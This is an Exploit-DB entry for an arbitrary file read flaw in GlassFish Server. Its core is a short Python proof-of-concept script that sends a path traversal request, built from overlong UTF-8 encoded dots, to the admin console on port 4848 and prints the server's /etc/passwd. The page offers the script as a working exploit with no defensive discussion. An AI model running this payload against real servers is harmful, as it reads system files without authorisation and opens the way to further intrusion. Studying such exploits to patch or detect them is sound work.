GlassFish Server - Arbitrary File Read

EDB-ID:

39241

CVE:

N/A


Author:

bingbing

Type:

webapps


Platform:

Java

Date:

2016-01-15


Become a Certified Penetration Tester

Enroll in Advanced Web Attacks and Exploitation , the course required to become an Offensive Security Web Expert (OSWE)

GET CERTIFIED

# Title: glassfish Arbitrary file read vulnerability
# Date : 01/15/2016
# Author: bingbing
# Software link: https://glassfish.java.net/download.html
# Software: GlassFish Server
# Tested: Linux x86


#!/usr/bin/python
import urllib2
response=urllib2.urlopen('http://localhost:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd')
s=response.read()
print s